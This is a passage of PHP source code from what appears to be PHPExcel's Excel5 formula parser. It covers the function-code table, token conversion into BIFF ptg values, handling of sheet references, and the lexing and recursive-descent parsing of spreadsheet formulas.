'CELL' => array( 125, -1, 0, 1 ), 'ISERR' => array( 126, 1, 1, 0 ), 'ISTEXT' => array( 127, 1, 1, 0 ), 'ISNUMBER' => array( 128, 1, 1, 0 ), 'ISBLANK' => array( 129, 1, 1, 0 ), 'T' => array( 130, 1, 0, 0 ), 'N' => array( 131, 1, 0, 0 ), 'DATEVALUE' => array( 140, 1, 1, 0 ), 'TIMEVALUE' => array( 141, 1, 1, 0 ), 'SLN' => array( 142, 3, 1, 0 ), 'SYD' => array( 143, 4, 1, 0 ), 'DDB' => array( 144, -1, 1, 0 ), 'INDIRECT' => array( 148, -1, 1, 1 ), 'CALL' => array( 150, -1, 1, 0 ), 'CLEAN' => array( 162, 1, 1, 0 ), 'MDETERM' => array( 163, 1, 2, 0 ), 'MINVERSE' => array( 164, 1, 2, 0 ), 'MMULT' => array( 165, 2, 2, 0 ), 'IPMT' => array( 167, -1, 1, 0 ), 'PPMT' => array( 168, -1, 1, 0 ), 'COUNTA' => array( 169, -1, 0, 0 ), 'PRODUCT' => array( 183, -1, 0, 0 ), 'FACT' => array( 184, 1, 1, 0 ), 'DPRODUCT' => array( 189, 3, 0, 0 ), 'ISNONTEXT' => array( 190, 1, 1, 0 ), 'STDEVP' => array( 193, -1, 0, 0 ), 'VARP' => array( 194, -1, 0, 0 ), 'DSTDEVP' => array( 195, 3, 0, 0 ), 'DVARP' => array( 196, 3, 0, 0 ), 'TRUNC' => array( 197, -1, 1, 0 ), 'ISLOGICAL' => array( 198, 1, 1, 0 ), 'DCOUNTA' => array( 199, 3, 0, 0 ), 'USDOLLAR' => array( 204, -1, 1, 0 ), 'FINDB' => array( 205, -1, 1, 0 ), 'SEARCHB' => array( 206, -1, 1, 0 ), 'REPLACEB' => array( 207, 4, 1, 0 ), 'LEFTB' => array( 208, -1, 1, 0 ), 'RIGHTB' => array( 209, -1, 1, 0 ), 'MIDB' => array( 210, 3, 1, 0 ), 'LENB' => array( 211, 1, 1, 0 ), 'ROUNDUP' => array( 212, 2, 1, 0 ), 'ROUNDDOWN' => array( 213, 2, 1, 0 ), 'ASC' => array( 214, 1, 1, 0 ), 'DBCS' => array( 215, 1, 1, 0 ), 'RANK' => array( 216, -1, 0, 0 ), 'ADDRESS' => array( 219, -1, 1, 0 ), 'DAYS360' => array( 220, -1, 1, 0 ), 'TODAY' => array( 221, 0, 1, 1 ), 'VDB' => array( 222, -1, 1, 0 ), 'MEDIAN' => array( 227, -1, 0, 0 ), 'SUMPRODUCT' => array( 228, -1, 2, 0 ), 'SINH' => array( 229, 1, 1, 0 ), 'COSH' => array( 230, 1, 1, 0 ), 'TANH' => array( 231, 1, 1, 0 ), 'ASINH' => array( 232, 1, 1, 0 ), 'ACOSH' => array( 233, 1, 1, 0 ), 'ATANH' => array( 234, 1, 1, 0 ), 'DGET' => array( 235, 3, 0, 0 ), 'INFO' => array( 244, 1, 1, 1 ), 'DB' => array( 247, -1, 1, 0 ), 'FREQUENCY' => array( 252, 2, 0, 0 ), 'ERROR.TYPE' => array( 261, 1, 1, 0 ), 'REGISTER.ID' => array( 267, -1, 1, 0 ), 'AVEDEV' => array( 269, -1, 0, 0 ), 'BETADIST' => array( 270, -1, 1, 0 ), 'GAMMALN' => array( 271, 1, 1, 0 ), 'BETAINV' => array( 272, -1, 1, 0 ), 'BINOMDIST' => array( 273, 4, 1, 0 ), 'CHIDIST' => array( 274, 2, 1, 0 ), 'CHIINV' => array( 275, 2, 1, 0 ), 'COMBIN' => array( 276, 2, 1, 0 ), 'CONFIDENCE' => array( 277, 3, 1, 0 ), 'CRITBINOM' => array( 278, 3, 1, 0 ), 'EVEN' => array( 279, 1, 1, 0 ), 'EXPONDIST' => array( 280, 3, 1, 0 ), 'FDIST' => array( 281, 3, 1, 0 ), 'FINV' => array( 282, 3, 1, 0 ), 'FISHER' => array( 283, 1, 1, 0 ), 'FISHERINV' => array( 284, 1, 1, 0 ), 'FLOOR' => array( 285, 2, 1, 0 ), 'GAMMADIST' => array( 286, 4, 1, 0 ), 'GAMMAINV' => array( 287, 3, 1, 0 ), 'CEILING' => array( 288, 2, 1, 0 ), 'HYPGEOMDIST' => array( 289, 4, 1, 0 ), 'LOGNORMDIST' => array( 290, 3, 1, 0 ), 'LOGINV' => array( 291, 3, 1, 0 ), 'NEGBINOMDIST' => array( 292, 3, 1, 0 ), 'NORMDIST' => array( 293, 4, 1, 0 ), 'NORMSDIST' => array( 294, 1, 1, 0 ), 'NORMINV' => array( 295, 3, 1, 0 ), 'NORMSINV' => array( 296, 1, 1, 0 ), 'STANDARDIZE' => array( 297, 3, 1, 0 ), 'ODD' => array( 298, 1, 1, 0 ), 'PERMUT' => array( 299, 2, 1, 0 ), 'POISSON' => array( 300, 3, 1, 0 ), 'TDIST' => array( 301, 3, 1, 0 ), 'WEIBULL' => array( 302, 4, 1, 0 ), 'SUMXMY2' => array( 303, 2, 2, 0 ), 'SUMX2MY2' => array( 304, 2, 2, 0 ), 'SUMX2PY2' => array( 305, 2, 2, 0 ), 'CHITEST' => array( 306, 2, 2, 0 ), 'CORREL' => array( 307, 2, 2, 0 ), 'COVAR' => array( 308, 2, 2, 0 ), 'FORECAST' => array( 309, 3, 2, 0 ), 'FTEST' => array( 310, 2, 2, 0 ), 'INTERCEPT' => array( 311, 2, 2, 0 ), 'PEARSON' => array( 312, 2, 2, 0 ), 'RSQ' => array( 313, 2, 2, 0 ), 'STEYX' => array( 314, 2, 2, 0 ), 'SLOPE' => array( 315, 2, 2, 0 ), 'TTEST' => array( 316, 4, 2, 0 ), 'PROB' => array( 317, -1, 2, 0 ), 'DEVSQ' => array( 318, -1, 0, 0 ), 'GEOMEAN' => array( 319, -1, 0, 0 ), 'HARMEAN' => array( 320, -1, 0, 0 ), 'SUMSQ' => array( 321, -1, 0, 0 ), 'KURT' => array( 322, -1, 0, 0 ), 'SKEW' => array( 323, -1, 0, 0 ), 'ZTEST' => array( 324, -1, 0, 0 ), 'LARGE' => array( 325, 2, 0, 0 ), 'SMALL' => array( 326, 2, 0, 0 ), 'QUARTILE' => array( 327, 2, 0, 0 ), 'PERCENTILE' => array( 328, 2, 0, 0 ), 'PERCENTRANK' => array( 329, -1, 0, 0 ), 'MODE' => array( 330, -1, 2, 0 ), 'TRIMMEAN' => array( 331, 2, 0, 0 ), 'TINV' => array( 332, 2, 1, 0 ), 'CONCATENATE' => array( 336, -1, 1, 0 ), 'POWER' => array( 337, 2, 1, 0 ), 'RADIANS' => array( 342, 1, 1, 0 ), 'DEGREES' => array( 343, 1, 1, 0 ), 'SUBTOTAL' => array( 344, -1, 0, 0 ), 'SUMIF' => array( 345, -1, 0, 0 ), 'COUNTIF' => array( 346, 2, 0, 0 ), 'COUNTBLANK' => array( 347, 1, 0, 0 ), 'ISPMT' => array( 350, 4, 1, 0 ), 'DATEDIF' => array( 351, 3, 1, 0 ), 'DATESTRING' => array( 352, 1, 1, 0 ), 'NUMBERSTRING' => array( 353, 2, 1, 0 ), 'ROMAN' => array( 354, -1, 1, 0 ), 'GETPIVOTDATA' => array( 358, -1, 0, 0 ), 'HYPERLINK' => array( 359, -1, 1, 0 ), 'PHONETIC' => array( 360, 1, 0, 0 ), 'AVERAGEA' => array( 361, -1, 0, 0 ), 'MAXA' => array( 362, -1, 0, 0 ), 'MINA' => array( 363, -1, 0, 0 ), 'STDEVPA' => array( 364, -1, 0, 0 ), 'VARPA' => array( 365, -1, 0, 0 ), 'STDEVA' => array( 366, -1, 0, 0 ), 'VARA' => array( 367, -1, 0, 0 ), 'BAHTTEXT' => array( 368, 1, 0, 0 ), ); } /** * Convert a token to the proper ptg value. * * @access private * @param mixed $token The token to convert. * @return mixed the converted token on success */ private function convert($token) { if (preg_match("/\"([^\"]|\"\"){0,255}\"/", $token)) { return $this->convertString($token); } elseif (is_numeric($token)) { return $this->convertNumber($token); // match references like A1 or $A$1 } elseif (preg_match('/^\$?([A-Ia-i]?[A-Za-z])\$?(\d+)$/', $token)) { return $this->convertRef2d($token); // match external references like Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1 } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?[A-Ia-i]?[A-Za-z]\\$?(\d+)$/u", $token)) { return $this->convertRef3d($token); // match external references like 'Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1 } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?[A-Ia-i]?[A-Za-z]\\$?(\d+)$/u", $token)) { return $this->convertRef3d($token); // match ranges like A1:B2 or $A$1:$B$2 } elseif (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?(\d+)\:(\$)?[A-Ia-i]?[A-Za-z](\$)?(\d+)$/', $token)) { return $this->convertRange2d($token); // match external ranges like Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2 } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?([A-Ia-i]?[A-Za-z])?\\$?(\d+)\:\\$?([A-Ia-i]?[A-Za-z])?\\$?(\d+)$/u", $token)) { return $this->convertRange3d($token); // match external ranges like 'Sheet1'!A1:B2 or 'Sheet1:Sheet2'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1:Sheet2'!$A$1:$B$2 } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?([A-Ia-i]?[A-Za-z])?\\$?(\d+)\:\\$?([A-Ia-i]?[A-Za-z])?\\$?(\d+)$/u", $token)) { return $this->convertRange3d($token); // operators (including parentheses) } elseif (isset($this->ptg[$token])) { return pack("C", $this->ptg[$token]); // match error codes } elseif (preg_match("/^#[A-Z0\/]{3,5}[!?]{1}$/", $token) or $token == '#N/A') { return $this->convertError($token); // commented so argument number can be processed correctly. See toReversePolish(). /*elseif (preg_match("/[A-Z0-9\xc0-\xdc\.]+/", $token)) { return($this->convertFunction($token, $this->_func_args)); }*/ // if it's an argument, ignore the token (the argument remains) } elseif ($token == 'arg') { return ''; } // TODO: use real error codes throw new PHPExcel_Writer_Exception("Unknown token $token"); } /** * Convert a number token to ptgInt or ptgNum * * @access private * @param mixed $num an integer or double for conversion to its ptg value */ private function convertNumber($num) { // Integer in the range 0..2**16-1 if ((preg_match("/^\d+$/", $num)) and ($num <= 65535)) { return pack("Cv", $this->ptg['ptgInt'], $num); } else { // A float if (PHPExcel_Writer_Excel5_BIFFwriter::getByteOrder()) { // if it's Big Endian $num = strrev($num); } return pack("Cd", $this->ptg['ptgNum'], $num); } } /** * Convert a string token to ptgStr * * @access private * @param string $string A string for conversion to its ptg value. * @return mixed the converted token on success */ private function convertString($string) { // chop away beggining and ending quotes $string = substr($string, 1, strlen($string) - 2); if (strlen($string) > 255) { throw new PHPExcel_Writer_Exception("String is too long"); } return pack('C', $this->ptg['ptgStr']) . PHPExcel_Shared_String::UTF8toBIFF8UnicodeShort($string); } /** * Convert a function to a ptgFunc or ptgFuncVarV depending on the number of * args that it takes. * * @access private * @param string $token The name of the function for convertion to ptg value. * @param integer $num_args The number of arguments the function receives. * @return string The packed ptg for the function */ private function convertFunction($token, $num_args) { $args = $this->functions[$token][1]; // $volatile = $this->functions[$token][3]; // Fixed number of args eg. TIME($i, $j, $k). if ($args >= 0) { return pack("Cv", $this->ptg['ptgFuncV'], $this->functions[$token][0]); } // Variable number of args eg. SUM($i, $j, $k, ..). if ($args == -1) { return pack("CCv", $this->ptg['ptgFuncVarV'], $num_args, $this->functions[$token][0]); } } /** * Convert an Excel range such as A1:D4 to a ptgRefV. * * @access private * @param string $range An Excel range in the A1:A2 * @param int $class */ private function convertRange2d($range, $class = 0) { // TODO: possible class value 0,1,2 check Formula.pm // Split the range into 2 cell refs if (preg_match('/^(\$)?([A-Ia-i]?[A-Za-z])(\$)?(\d+)\:(\$)?([A-Ia-i]?[A-Za-z])(\$)?(\d+)$/', $range)) { list($cell1, $cell2) = explode(':', $range); } else { // TODO: use real error codes throw new PHPExcel_Writer_Exception("Unknown range separator"); } // Convert the cell references list($row1, $col1) = $this->cellToPackedRowcol($cell1); list($row2, $col2) = $this->cellToPackedRowcol($cell2); // The ptg value depends on the class of the ptg. if ($class == 0) { $ptgArea = pack("C", $this->ptg['ptgArea']); } elseif ($class == 1) { $ptgArea = pack("C", $this->ptg['ptgAreaV']); } elseif ($class == 2) { $ptgArea = pack("C", $this->ptg['ptgAreaA']); } else { // TODO: use real error codes throw new PHPExcel_Writer_Exception("Unknown class $class"); } return $ptgArea . $row1 . $row2 . $col1. $col2; } /** * Convert an Excel 3d range such as "Sheet1!A1:D4" or "Sheet1:Sheet2!A1:D4" to * a ptgArea3d. * * @access private * @param string $token An Excel range in the Sheet1!A1:A2 format. * @return mixed The packed ptgArea3d token on success. */ private function convertRange3d($token) { // $class = 0; // formulas like Sheet1!$A$1:$A$2 in list type data validation need this class (0x3B) // Split the ref at the ! symbol list($ext_ref, $range) = explode('!', $token); // Convert the external reference part (different for BIFF8) $ext_ref = $this->getRefIndex($ext_ref); // Split the range into 2 cell refs list($cell1, $cell2) = explode(':', $range); // Convert the cell references if (preg_match("/^(\\$)?[A-Ia-i]?[A-Za-z](\\$)?(\d+)$/", $cell1)) { list($row1, $col1) = $this->cellToPackedRowcol($cell1); list($row2, $col2) = $this->cellToPackedRowcol($cell2); } else { // It's a rows range (like 26:27) list($row1, $col1, $row2, $col2) = $this->rangeToPackedRange($cell1.':'.$cell2); } // The ptg value depends on the class of the ptg. // if ($class == 0) { $ptgArea = pack("C", $this->ptg['ptgArea3d']); // } elseif ($class == 1) { // $ptgArea = pack("C", $this->ptg['ptgArea3dV']); // } elseif ($class == 2) { // $ptgArea = pack("C", $this->ptg['ptgArea3dA']); // } else { // throw new PHPExcel_Writer_Exception("Unknown class $class"); // } return $ptgArea . $ext_ref . $row1 . $row2 . $col1. $col2; } /** * Convert an Excel reference such as A1, $B2, C$3 or $D$4 to a ptgRefV. * * @access private * @param string $cell An Excel cell reference * @return string The cell in packed() format with the corresponding ptg */ private function convertRef2d($cell) { // $class = 2; // as far as I know, this is magick. // Convert the cell reference $cell_array = $this->cellToPackedRowcol($cell); list($row, $col) = $cell_array; // The ptg value depends on the class of the ptg. // if ($class == 0) { // $ptgRef = pack("C", $this->ptg['ptgRef']); // } elseif ($class == 1) { // $ptgRef = pack("C", $this->ptg['ptgRefV']); // } elseif ($class == 2) { $ptgRef = pack("C", $this->ptg['ptgRefA']); // } else { // // TODO: use real error codes // throw new PHPExcel_Writer_Exception("Unknown class $class"); // } return $ptgRef.$row.$col; } /** * Convert an Excel 3d reference such as "Sheet1!A1" or "Sheet1:Sheet2!A1" to a * ptgRef3d. * * @access private * @param string $cell An Excel cell reference * @return mixed The packed ptgRef3d token on success. */ private function convertRef3d($cell) { // $class = 2; // as far as I know, this is magick. // Split the ref at the ! symbol list($ext_ref, $cell) = explode('!', $cell); // Convert the external reference part (different for BIFF8) $ext_ref = $this->getRefIndex($ext_ref); // Convert the cell reference part list($row, $col) = $this->cellToPackedRowcol($cell); // The ptg value depends on the class of the ptg. // if ($class == 0) { // $ptgRef = pack("C", $this->ptg['ptgRef3d']); // } elseif ($class == 1) { // $ptgRef = pack("C", $this->ptg['ptgRef3dV']); // } elseif ($class == 2) { $ptgRef = pack("C", $this->ptg['ptgRef3dA']); // } else { // throw new PHPExcel_Writer_Exception("Unknown class $class"); // } return $ptgRef . $ext_ref. $row . $col; } /** * Convert an error code to a ptgErr * * @access private * @param string $errorCode The error code for conversion to its ptg value * @return string The error code ptgErr */ private function convertError($errorCode) { switch ($errorCode) { case '#NULL!': return pack("C", 0x00); case '#DIV/0!': return pack("C", 0x07); case '#VALUE!': return pack("C", 0x0F); case '#REF!': return pack("C", 0x17); case '#NAME?': return pack("C", 0x1D); case '#NUM!': return pack("C", 0x24); case '#N/A': return pack("C", 0x2A); } return pack("C", 0xFF); } /** * Convert the sheet name part of an external reference, for example "Sheet1" or * "Sheet1:Sheet2", to a packed structure. * * @access private * @param string $ext_ref The name of the external reference * @return string The reference index in packed() format */ private function packExtRef($ext_ref) { $ext_ref = preg_replace("/^'/", '', $ext_ref); // Remove leading ' if any. $ext_ref = preg_replace("/'$/", '', $ext_ref); // Remove trailing ' if any. // Check if there is a sheet range eg., Sheet1:Sheet2. if (preg_match("/:/", $ext_ref)) { list($sheet_name1, $sheet_name2) = explode(':', $ext_ref); $sheet1 = $this->getSheetIndex($sheet_name1); if ($sheet1 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $sheet_name1 in formula"); } $sheet2 = $this->getSheetIndex($sheet_name2); if ($sheet2 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $sheet_name2 in formula"); } // Reverse max and min sheet numbers if necessary if ($sheet1 > $sheet2) { list($sheet1, $sheet2) = array($sheet2, $sheet1); } } else { // Single sheet name only. $sheet1 = $this->getSheetIndex($ext_ref); if ($sheet1 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $ext_ref in formula"); } $sheet2 = $sheet1; } // References are stored relative to 0xFFFF. $offset = -1 - $sheet1; return pack('vdvv', $offset, 0x00, $sheet1, $sheet2); } /** * Look up the REF index that corresponds to an external sheet name * (or range). If it doesn't exist yet add it to the workbook's references * array. It assumes all sheet names given must exist. * * @access private * @param string $ext_ref The name of the external reference * @return mixed The reference index in packed() format on success */ private function getRefIndex($ext_ref) { $ext_ref = preg_replace("/^'/", '', $ext_ref); // Remove leading ' if any. $ext_ref = preg_replace("/'$/", '', $ext_ref); // Remove trailing ' if any. $ext_ref = str_replace('\'\'', '\'', $ext_ref); // Replace escaped '' with ' // Check if there is a sheet range eg., Sheet1:Sheet2. if (preg_match("/:/", $ext_ref)) { list($sheet_name1, $sheet_name2) = explode(':', $ext_ref); $sheet1 = $this->getSheetIndex($sheet_name1); if ($sheet1 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $sheet_name1 in formula"); } $sheet2 = $this->getSheetIndex($sheet_name2); if ($sheet2 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $sheet_name2 in formula"); } // Reverse max and min sheet numbers if necessary if ($sheet1 > $sheet2) { list($sheet1, $sheet2) = array($sheet2, $sheet1); } } else { // Single sheet name only. $sheet1 = $this->getSheetIndex($ext_ref); if ($sheet1 == -1) { throw new PHPExcel_Writer_Exception("Unknown sheet name $ext_ref in formula"); } $sheet2 = $sheet1; } // assume all references belong to this document $supbook_index = 0x00; $ref = pack('vvv', $supbook_index, $sheet1, $sheet2); $totalreferences = count($this->references); $index = -1; for ($i = 0; $i < $totalreferences; ++$i) { if ($ref == $this->references[$i]) { $index = $i; break; } } // if REF was not found add it to references array if ($index == -1) { $this->references[$totalreferences] = $ref; $index = $totalreferences; } return pack('v', $index); } /** * Look up the index that corresponds to an external sheet name. The hash of * sheet names is updated by the addworksheet() method of the * PHPExcel_Writer_Excel5_Workbook class. * * @access private * @param string $sheet_name Sheet name * @return integer The sheet index, -1 if the sheet was not found */ private function getSheetIndex($sheet_name) { if (!isset($this->externalSheets[$sheet_name])) { return -1; } else { return $this->externalSheets[$sheet_name]; } } /** * This method is used to update the array of sheet names. It is * called by the addWorksheet() method of the * PHPExcel_Writer_Excel5_Workbook class. * * @access public * @see PHPExcel_Writer_Excel5_Workbook::addWorksheet() * @param string $name The name of the worksheet being added * @param integer $index The index of the worksheet being added */ public function setExtSheet($name, $index) { $this->externalSheets[$name] = $index; } /** * pack() row and column into the required 3 or 4 byte format. * * @access private * @param string $cell The Excel cell reference to be packed * @return array Array containing the row and column in packed() format */ private function cellToPackedRowcol($cell) { $cell = strtoupper($cell); list($row, $col, $row_rel, $col_rel) = $this->cellToRowcol($cell); if ($col >= 256) { throw new PHPExcel_Writer_Exception("Column in: $cell greater than 255"); } if ($row >= 65536) { throw new PHPExcel_Writer_Exception("Row in: $cell greater than 65536 "); } // Set the high bits to indicate if row or col are relative. $col |= $col_rel << 14; $col |= $row_rel << 15; $col = pack('v', $col); $row = pack('v', $row); return array($row, $col); } /** * pack() row range into the required 3 or 4 byte format. * Just using maximum col/rows, which is probably not the correct solution * * @access private * @param string $range The Excel range to be packed * @return array Array containing (row1,col1,row2,col2) in packed() format */ private function rangeToPackedRange($range) { preg_match('/(\$)?(\d+)\:(\$)?(\d+)/', $range, $match); // return absolute rows if there is a $ in the ref $row1_rel = empty($match[1]) ? 1 : 0; $row1 = $match[2]; $row2_rel = empty($match[3]) ? 1 : 0; $row2 = $match[4]; // Convert 1-index to zero-index --$row1; --$row2; // Trick poor inocent Excel $col1 = 0; $col2 = 65535; // FIXME: maximum possible value for Excel 5 (change this!!!) // FIXME: this changes for BIFF8 if (($row1 >= 65536) or ($row2 >= 65536)) { throw new PHPExcel_Writer_Exception("Row in: $range greater than 65536 "); } // Set the high bits to indicate if rows are relative. $col1 |= $row1_rel << 15; $col2 |= $row2_rel << 15; $col1 = pack('v', $col1); $col2 = pack('v', $col2); $row1 = pack('v', $row1); $row2 = pack('v', $row2); return array($row1, $col1, $row2, $col2); } /** * Convert an Excel cell reference such as A1 or $B2 or C$3 or $D$4 to a zero * indexed row and column number. Also returns two (0,1) values to indicate * whether the row or column are relative references. * * @access private * @param string $cell The Excel cell reference in A1 format. * @return array */ private function cellToRowcol($cell) { preg_match('/(\$)?([A-I]?[A-Z])(\$)?(\d+)/', $cell, $match); // return absolute column if there is a $ in the ref $col_rel = empty($match[1]) ? 1 : 0; $col_ref = $match[2]; $row_rel = empty($match[3]) ? 1 : 0; $row = $match[4]; // Convert base26 column string to a number. $expn = strlen($col_ref) - 1; $col = 0; $col_ref_length = strlen($col_ref); for ($i = 0; $i < $col_ref_length; ++$i) { $col += (ord($col_ref{$i}) - 64) * pow(26, $expn); --$expn; } // Convert 1-index to zero-index --$row; --$col; return array($row, $col, $row_rel, $col_rel); } /** * Advance to the next valid token. * * @access private */ private function advance() { $i = $this->currentCharacter; $formula_length = strlen($this->formula); // eat up white spaces if ($i < $formula_length) { while ($this->formula{$i} == " ") { ++$i; } if ($i < ($formula_length - 1)) { $this->lookAhead = $this->formula{$i+1}; } $token = ''; } while ($i < $formula_length) { $token .= $this->formula{$i}; if ($i < ($formula_length - 1)) { $this->lookAhead = $this->formula{$i+1}; } else { $this->lookAhead = ''; } if ($this->match($token) != '') { //if ($i < strlen($this->formula) - 1) { // $this->lookAhead = $this->formula{$i+1}; //} $this->currentCharacter = $i + 1; $this->currentToken = $token; return 1; } if ($i < ($formula_length - 2)) { $this->lookAhead = $this->formula{$i+2}; } else { // if we run out of characters lookAhead becomes empty $this->lookAhead = ''; } ++$i; } //die("Lexical error ".$this->currentCharacter); } /** * Checks if it's a valid token. * * @access private * @param mixed $token The token to check. * @return mixed The checked token or false on failure */ private function match($token) { switch ($token) { case "+": case "-": case "*": case "/": case "(": case ")": case ",": case ";": case ">=": case "<=": case "=": case "<>": case "^": case "&": case "%": return $token; break; case ">": if ($this->lookAhead == '=') { // it's a GE token break; } return $token; break; case "<": // it's a LE or a NE token if (($this->lookAhead == '=') or ($this->lookAhead == '>')) { break; } return $token; break; default: // if it's a reference A1 or $A$1 or $A1 or A$1 if (preg_match('/^\$?[A-Ia-i]?[A-Za-z]\$?[0-9]+$/', $token) and !preg_match("/[0-9]/", $this->lookAhead) and ($this->lookAhead != ':') and ($this->lookAhead != '.') and ($this->lookAhead != '!')) { return $token; } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?[A-Ia-i]?[A-Za-z]\\$?[0-9]+$/u", $token) and !preg_match("/[0-9]/", $this->lookAhead) and ($this->lookAhead != ':') and ($this->lookAhead != '.')) { // If it's an external reference (Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1) return $token; } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?[A-Ia-i]?[A-Za-z]\\$?[0-9]+$/u", $token) and !preg_match("/[0-9]/", $this->lookAhead) and ($this->lookAhead != ':') and ($this->lookAhead != '.')) { // If it's an external reference ('Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 'Sheet1'!$A$1 or 'Sheet1:Sheet2'!$A$1) return $token; } elseif (preg_match('/^(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+:(\$)?[A-Ia-i]?[A-Za-z](\$)?[0-9]+$/', $token) && !preg_match("/[0-9]/", $this->lookAhead)) { // if it's a range A1:A2 or $A$1:$A$2 return $token; } elseif (preg_match("/^" . self::REGEX_SHEET_TITLE_UNQUOTED . "(\:" . self::REGEX_SHEET_TITLE_UNQUOTED . ")?\!\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+:\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+$/u", $token) and !preg_match("/[0-9]/", $this->lookAhead)) { // If it's an external range like Sheet1!A1:B2 or Sheet1:Sheet2!A1:B2 or Sheet1!$A$1:$B$2 or Sheet1:Sheet2!$A$1:$B$2 return $token; } elseif (preg_match("/^'" . self::REGEX_SHEET_TITLE_QUOTED . "(\:" . self::REGEX_SHEET_TITLE_QUOTED . ")?'\!\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+:\\$?([A-Ia-i]?[A-Za-z])?\\$?[0-9]+$/u", $token) and !preg_match("/[0-9]/", $this->lookAhead)) { // If it's an external range like 'Sheet1'!A1:B2 or 'Sheet1:Sheet2'!A1:B2 or 'Sheet1'!$A$1:$B$2 or 'Sheet1:Sheet2'!$A$1:$B$2 return $token; } elseif (is_numeric($token) and (!is_numeric($token.$this->lookAhead) or ($this->lookAhead == '')) and ($this->lookAhead != '!') and ($this->lookAhead != ':')) { // If it's a number (check that it's not a sheet name or range) return $token; } elseif (preg_match("/\"([^\"]|\"\"){0,255}\"/", $token) and $this->lookAhead != '"' and (substr_count($token, '"')%2 == 0)) { // If it's a string (of maximum 255 characters) return $token; } elseif (preg_match("/^#[A-Z0\/]{3,5}[!?]{1}$/", $token) or $token == '#N/A') { // If it's an error code return $token; } elseif (preg_match("/^[A-Z0-9\xc0-\xdc\.]+$/i", $token) and ($this->lookAhead == "(")) { // if it's a function call return $token; } elseif (substr($token, -1) == ')') { // It's an argument of some description (e.g. a named range), // precise nature yet to be determined return $token; } return ''; } } /** * The parsing method. It parses a formula. * * @access public * @param string $formula The formula to parse, without the initial equal * sign (=). * @return mixed true on success */ public function parse($formula) { $this->currentCharacter = 0; $this->formula = $formula; $this->lookAhead = isset($formula{1}) ? $formula{1} : ''; $this->advance(); $this->parseTree = $this->condition(); return true; } /** * It parses a condition. It assumes the following rule: * Cond -> Expr [(">" | "<") Expr] * * @access private * @return mixed The parsed ptg'd tree on success */ private function condition() { $result = $this->expression(); if ($this->currentToken == "<") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgLT', $result, $result2); } elseif ($this->currentToken == ">") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgGT', $result, $result2); } elseif ($this->currentToken == "<=") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgLE', $result, $result2); } elseif ($this->currentToken == ">=") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgGE', $result, $result2); } elseif ($this->currentToken == "=") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgEQ', $result, $result2); } elseif ($this->currentToken == "<>") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgNE', $result, $result2); } elseif ($this->currentToken == "&") { $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgConcat', $result, $result2); } return $result; } /** * It parses a expression. It assumes the following rule: * Expr -> Term [("+" | "-") Term] * -> "string" * -> "-" Term : Negative value * -> "+" Term : Positive value * -> Error code * * @access private * @return mixed The parsed ptg'd tree on success */ private function expression() { // If it's a string return a string node if (preg_match("/\"([^\"]|\"\"){0,255}\"/", $this->currentToken)) { $tmp = str_replace('""', '"', $this->currentToken); if (($tmp == '"') || ($tmp == '')) { // Trap for "" that has been used for an empty string $tmp = '""'; } $result = $this->createTree($tmp, '', ''); $this->advance(); return $result; // If it's an error code } elseif (preg_match("/^#[A-Z0\/]{3,5}[!?]{1}$/", $this->currentToken) or $this->currentToken == '#N/A') { $result = $this->createTree($this->currentToken, 'ptgErr', ''); $this->advance(); return $result; // If it's a negative value } elseif ($this->currentToken == "-") { // catch "-" Term $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgUminus', $result2, ''); return $result; // If it's a positive value } elseif ($this->currentToken == "+") { // catch "+" Term $this->advance(); $result2 = $this->expression(); $result = $this->createTree('ptgUplus', $result2, ''); return $result; } $result = $this->term(); while (($this->currentToken == "+") or ($this->currentToken == "-") or ($this->currentToken == "^")) { /**/ if ($this->currentToken == "+") { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgAdd', $result, $result2); } elseif ($this->currentToken == "-") { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgSub', $result, $result2); } else { $this->advance(); $result2 = $this->term(); $result = $this->createTree('ptgPower', $result, $result2); } } return $result; } /** * This function just introduces a ptgParen element in the tree, so that Excel * doesn't get confused when working with a parenthesized formula afterwards. * * @access private * @see fact() * @return array The parsed ptg'd tree */ private function 